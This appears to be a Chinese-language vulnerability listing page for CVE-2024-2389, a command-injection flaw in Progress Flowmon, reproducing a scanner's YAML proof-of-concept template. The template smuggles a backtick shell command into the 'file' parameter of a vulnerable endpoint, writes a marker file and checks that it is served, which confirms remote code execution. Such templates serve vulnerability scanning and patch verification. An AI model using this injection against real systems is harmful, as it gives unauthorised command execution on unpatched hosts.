CVE-2024-2389: Progress Flowmon rce

日期: 2025-09-01 | 影响软件: Progress Flowmon | POC: 已公开

漏洞描述

Progress Flowmon 11.1.14之前的11.x版本和12.3.5之前的12.x版本存在命令执行漏洞，可执行系统命令获取主机权限。

PoC代码[已公开]

id: CVE-2024-2389
info:
  name: Progress Flowmon rce
  author: laohuan12138
  severity: critical
  verified: true
  description: Progress Flowmon 11.1.14之前的11.x版本和12.3.5之前的12.x版本存在命令执行漏洞，可执行系统命令获取主机权限。
  references:
    - https://mp.weixin.qq.com/s/-_SSnuJ5eWw1xbAdGG5tvg

  tags: cve,rce,cve2024
  created: 2024/4/17

set: 
  filename: randomLowercase(6)
  randstr: randomLowercase(10)

rules:
  r0:
    request:
      method: GET
      path: /service.pdfs/confluence?lang=en&file=`echo+"{{randstr}}">{{filename}}.txt`
    expression: response.status == 403

  r1:
    request:
      method: GET
      path: /{{filename}}.txt
    expression: response.status == 200 && response.body.bcontains(bytes(randstr))

expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2024/CVE-2024-2389.yaml

相关漏洞推荐